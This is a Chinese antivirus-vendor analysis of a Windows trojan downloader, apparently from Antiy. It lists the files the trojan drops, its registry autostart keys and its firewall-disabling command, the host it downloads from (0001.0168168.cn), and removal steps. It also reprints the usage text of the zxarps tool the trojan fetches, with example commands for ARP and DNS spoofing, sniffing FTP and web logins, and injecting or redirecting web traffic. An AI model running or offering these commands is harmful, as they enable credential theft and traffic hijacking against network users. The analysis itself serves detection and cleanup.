Trojan-Downloader.Win32.Agent.bmp
Trojan-Downloader.Win32.Agent.bmp
病毒名称： Trojan-Downloader.Win32.Agent.bmp
病毒类型： 木马
文件 MD5： E2C32E4E0CD6205C4654C98C152EAB6E
公开范围： 完全公开
危害等级： 5
文件长度： 45,233 字节
感染系统： windows98以上版本
开发工具： Borland Delphi 6.0 - 7.0
加壳类型： FSG 2.0
病毒描述：
该病毒属木马类， 病毒运行后衍生病毒文件到系统目录下，并删除自身；修改注册表，添
加启动项，以达到随机启动的目的；修改系统时间为 2002 年 3 月 3 日 19 点 02 分；感染 htm/asp/php 文件，在文件尾部插入代码；遍历盘符，在指定路径下创建文本文件，以记录相关
信息；指定注册表启动项，但未全部执行；连接网络，下载大量病毒文件到本机运行，该病毒下
载的文件可引起 DNS 欺骗。
行为分析：
1 、病毒运行后衍生病毒文件到系统目录下，并删除自身：
%system32%\\softmuma.exe
2 、修改注册表，添加启动项，以达到随机启动的目的：
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "Mick"="C:\\WINDOWS\\system32\\softmuma.exe"
3 、修改系统时间为：
2002 年 3 月 3 日 19 点 02 分
4 、感染 htm/asp/php 文件，在文件尾部插入以下代码：
5 、遍历盘符，在指定路径下创建文本文件，以记录相关信息：
"c:/"
"C:\\Program Files\\NetMeeting\\c.txt"
"d:/"
"C:\\Program Files\\NetMeeting\\d.txt"
"e:/"
"C:\\Program Files\\NetMeeting\\e.txt"
"f:/"
"C:\\Program Files\\NetMeeting\\f.txt"
"g:/"
"C:\\Program Files\\NetMeeting\\g.txt"
6 、 关闭系统防火墙服务，以降低系统安全性能：
在后台打开 cmd 用命令 c net stop sharedaccess 关闭系统防火墙服务
7 、指定注册表启动项，但未全部执行：
"Software\\Microsoft\\Windows\\CurrentVersion\\Run"
"c:\\windows\\1.exe"
"c:\\windows\\2.exe"
"c:\\windows\\3.exe"
"c:\\windows\\4.exe"
"c:\\windows\\5.exe"
"c:\\windows\\6.exe"
"c:\\windows\\7.exe"
"c:\\windows\\8.exe"
"c:\\windows\\9.exe"
"c:\\windows\\10.exe"
"c:\\windows\\11.exe"
"c:\\windows\\12.exe"
"c:\\windows\\13.exe"
"c:\\windows\\14.exe"
"c:\\windows\\15.exe"
"c:\\windows\\16.exe"
8 、连接网络，下载病毒文件到本机运行：
IP ： 59.34.198.33( 广东省湛江市 电信 )
域名： 0001.0168168.cn
下载地址： 0001.0168168.cn/1.exe
0001.0168168.cn/*.*
下载的病毒运行后衍生的文件：
%WINDIR%\\11.exe
%WINDIR%\\13.exe
%WINDIR%\\winform.exe
%system32%\\dh2104.dll
%system32%\\moyu103.dll
%system32%\\msfeed.exe
%system32%\\mydata.exe
%system32%\wizdh.exe
%system32%\wizqjsj.dll
%system32%\wizqjsj.exe
%system32%\wizzhuxians.dll
%system32%\wizzhuxians.exe
%system32%\\packet.dll
%system32%\\ravasktao.dll
%system32%\\ravasktao.exe
%system32%\\sevices.exe
%system32%\\softmuma.exe
%system32%\\visin.exe
%system32%\\wanpacket.dll
%system32%\\winform.dll
%system32%\\wpcap.dll
%system32%\\ztinetzt.dll
%system32%\\ztinetzt.exe
%system32%\\drivers\pf.sys
%system32%\\drivers\\usbinte.sys
%Program Files%\\Internet Explorer\\PLUGINS\\System64.Sys
%Temp%\\rxso.exe
%Temp%\\tlso.exe
%Temp%\\wgso.exe
%Temp%\\wlso.exe
%Temp%\\woso.exe
9 、下载的病毒增加的注册表启动项：
HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\
{754FB7D8-B8FE-4810-B363-A788CD060F1F}\\InProcServer32
键值 : 字串 : "@"="C:\\Program Files\\Internet Explorer\\PLUGINS\\System64.Sys"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\
Installed Components\\{11716107-A10D-11cf-64CD-11115FE1CF41}
键值 : 字串 : "StubPath"="C:\\WINDOWS\\system32\wizzhuxians.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\
Installed Components\\{6A202101-A04D-21cf-65CD-31FF5FE1CF20}
键值 : 字串 : "StubPath"="C:\\WINDOWS\\system32\\mydata.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\
policies\\Explorer\\Run
键值 : 字串 : "visin"="C:\\WINDOWS\\system32\\visin.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : " Microsoft Autorun1"="C:\\WINDOWS\\system32\wizdh.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : " Microsoft Autorun14"="C:\\WINDOWS\\system32\\ztinetzt.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "Microsoft Autorun7"="C:\\WINDOWS\\system32\wizqjsj.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "Microsoft Autorun9"="C:\\WINDOWS\\system32\\Ravasktao.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "rxsa"="C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\rxso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "tlsa"="C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\tlso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "wgsa"="C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\wgso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "WinForm"="C:\\WINDOWS\\WinForm.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "wlsa"="C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\wlso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run
键值 : 字串 : "wosa"="C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\woso.exe"
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\NPF
键值 : 字串 : "ImagePath"="system32\\drivers\pf.sys"
10 、该病毒下载的病毒可引起 DNS 欺骗：
Content-Encoding: Transfer-Encoding:
Content-Type: text/htmlHTTP/1.0
200HTTP/1.1 200DNS 欺骗 ( 修改应答包 )
%s -> %d.%d.%d.%d
DNS欺骗(构建应答包) %s -> %d.%d.%d.%d
pmac == NULL ??????
%d.%d.%d.%d -> %d.%d.%d.%d
[!] ProcessPacket -> send packet error. %d
[!] Forward thread send packet error
memory lack.
Scanning Alive Host......
%d: %15s %.2X-%.2X-%.2X-%.2X-%.2X-%.2X %s
Found Alive Host:
N/A[-] Get %s mac Error.
No interfaces found! Make sure WinPcap is installed.
Default Gateway . . : %s
Physical Address. . : %.2X-%.2X-%.2X-%.2X-%.2X-%.2X
%d. %s
IP Address. . . . . : %s
Error in pcap_findalldevs: %s
[*] Bind on %s %s...
Unable to open the adapter.%s is not supported by WinPcap
Bye!
Restoring the ARPTable......
Killing the SpoofThread......
Ctrl+C Is Pressed.
options:
-idx [index] 网卡索引号
-ip [ip] 欺骗的IP,用''-''指定范围,'',''隔开
-sethost [ip] 默认是网关,可以指定别的IP
-port [port] 关注的端口,用''-''指定范围,'',''隔开,没指定默认关注所有端口
-reset 恢复目标机的ARP表
-hostname 探测主机时获取主机名信息
-logfilter [string]设置保存数据的条件，必须+-_做前缀,后跟关键字,
'',''隔开关键字,多个条件''|''隔开 所有带+前缀的关键字都出现的包则写入
文件 带-前缀的关键字出现的包不写入文件 带_前缀的关键字一个符合则写入
文件(如有+-条件也要符合)
-save_a [filename] 将捕捉到的数据写入文件 ACSII模式
-save_h [filename] HEX模式
-hacksite [ip] 指定要插入代码的站点域名或IP, 多个可用'',''隔开,
没指定则影响所有站点
-insert [html code]指定要插入html代码
-postfix [string] 关注的后缀名，只关注HTTP/1.1 302
-hackURL 发现关注的后缀名后修改URL到新的URL
-filename [name] 新URL上有效的资源文件名
-hackdns [string] DNS欺骗，只修改UDP的报文,多个可用'',''隔开 格式: 域名|IP，
www.aa.com|222.22.2.2,www.bb.com|1.1.1.1
-Interval [ms] 定时欺骗的时间间隔，单位:毫秒:默认是3000 ms
-spoofmode [1|2|3] 将数据骗发到本机,欺骗对象:1为网关,2为目标机,3为两者(默认)
-speed [kb] 限制指定的IP或IP段的网络总带宽,单位:KB
example: 嗅探指定的IP段中端口80的数据，并以HEX模式写入文件
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80 -save_h sniff.log
FTP嗅探,在21或2121端口中出现USER或PASS的数据包记录到文件
zxarps.exe -idx 0 -ip 192.168.0.2 -port 21,2121
-spoofmode 2 -logfilter "_USER ,_PASS" -save_a sniff.log
HTTP web邮箱登陆或一些论坛登陆的嗅探,根据情况自行改关键字
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.50 -port 80
-logfilter "+POST ,+user,+pass" -save_a sniff.log
用|添加嗅探条件,这样FTP和HTTP的一些敏感关键字可以一起嗅探
zxarps.exe -idx 0 -ip 192.168.0.2 -port 80,21 -logfilter
"+POST ,+user,+pass|_USER ,_PASS" -save_a sniff.log
如果嗅探到目标下载文件后缀是exe等则更改Location:为
http://xx.net/test.exe zxarps.exe
-idx 0 -ip 192.168.0.2-192.168.0.12,192.168.0.20-192.168.0.30
-spoofmode 3 -postfix ".exe,.rar,.zip" -hackurl http://xx.net/
-filename test.exe
指定的IP段中的用户访问到-hacksite中的网址则只显示
just for fun zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99
-port 80 -hacksite 222.2.2.2,www.a.com,www.b.com -insert "just for fun"
指定的IP段中的用户访问的所有网站都插入一个框架代码
zxarps.exe -idx 0 -ip 192.168.0.2-192.168.0.99 -port 80 -insert ""
指定的两个IP的总带宽限制到20KB
zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66 -speed 20
DNS欺骗 zxarps.exe -idx 0 -ip 192.168.0.55,192.168.0.66
-hackdns "www.aa.com|222.22.2.2,www.bb.com|1.1.1.1"
注： % System% 是一个可变路径。病毒通过查询操作系统来决定当前 System 文件夹的位置。
Windows2000/NT 中默认的安装路径是 C:\\Winnt\\System32 ， windows95/98/me 中默认的安装
路径是 C:\\Windows\\System ， windowsXP 中默认的安装路径是 C:\\Windows\\System32 。
清除方案：
1 、 使用安天木马防线可彻底清除此病毒 ( 推荐 )
2 、 手工清除请按照行为分析删除对应文件，恢复相关系统设置。
(1)使用 安天木马防线 “进程管理”关闭病毒进程。
(2)删除病毒文件：
%system32%\\softmuma.exe
%WINDIR%\\11.exe
%WINDIR%\\13.exe
%WINDIR%\\winform.exe
%system32%\\dh2104.dll
%system32%\\moyu103.dll
%system32%\\msfeed.exe
%system32%\\mydata.exe
%system32%\wizdh.exe
%system32%\wizqjsj.dll
%system32%\wizqjsj.exe
%system32%\wizzhuxians.dll
%system32%\wizzhuxians.exe
%system32%\\packet.dll
%system32%\\ravasktao.dll
%system32%\\ravasktao.exe
%system32%\\sevices.exe
%system32%\\softmuma.exe
%system32%\\visin.exe
%system32%\\wanpacket.dll
%system32%\\winform.dll
%system32%\\wpcap.dll
%system32%\\ztinetzt.dll
%system32%\\ztinetzt.exe
%system32%\\drivers\pf.sys
%system32%\\drivers\\usbinte.sys
%Program Files%\\Internet Explorer\\PLUGINS\\System64.Sys
%Temp%\\rxso.exe
%Temp%\\tlso.exe
%Temp%\\wgso.exe
%Temp%\\wlso.exe
%Temp%\\woso.exe
(3)恢复病毒修改的注册表项目，删除病毒添加的注册表项：
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : "Mick"="C:\\WINDOWS\\system32\\softmuma.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\{754FB7D8-
B8FE-4810-B363-A788CD060F1F}\\InProcServer32
键值 : 字串 : "@"="C:\\Program Files\\Internet Explorer\\
PLUGINS\\System64.Sys"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\
Installed Components\\
{11716107-A10D-11cf-64CD-11115FE1CF41}
键值 : 字串 :
"StubPath"="C:\\WINDOWS\\system32\wizzhuxians.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\
Installed Components\\
{6A202101-A04D-21cf-65CD-31FF5FE1CF20}
键值 : 字串 :
"StubPath"="C:\\WINDOWS\\system32\\mydata.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\policies\\Explorer\\Run
键值 : 字串 : "visin"="C:\\WINDOWS\\system32\\visin.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : " Microsoft Autorun1"=
"C:\\WINDOWS\\system32\wizdh.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : " Microsoft Autorun14"=
"C:\\WINDOWS\\system32\\ztinetzt.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : "Microsoft Autorun7"=
"C:\\WINDOWS\\system32\wizqjsj.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : "Microsoft Autorun9"=
"C:\\WINDOWS\\system32\\Ravasktao.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : "rxsa"=
"C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\rxso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 :"tlsa"=
"C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\tlso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : "wgsa"=
"C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\wgso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : "WinForm"="C:\\WINDOWS\\WinForm.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 :"wlsa"=
"C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\wlso.exe"
HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\
CurrentVersion\\Run
键值 : 字串 : "wosa"=
"C:\\DOCUME~1\\COMMAN~1\\LOCALS~1\\Temp\\woso.exe"
HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Services\\NPF
键值 : 字串 : "ImagePath"="system32\\drivers\pf.sys"